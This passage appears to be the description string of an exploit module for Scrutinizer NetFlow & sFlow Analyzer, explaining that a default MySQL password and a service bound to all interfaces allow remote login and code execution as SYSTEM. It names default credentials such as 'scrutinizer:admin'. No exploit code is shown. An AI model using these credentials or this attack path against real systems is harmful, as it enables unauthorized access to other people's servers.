   'Description'    => %q{
    This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
    By default, the software installs a default password in MySQL, and binds the
    service to "0.0.0.0".  This allows any remote user to login to MySQL, and then
    gain arbitrary remote code execution under the context of 'SYSTEM'.  Examples
    of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
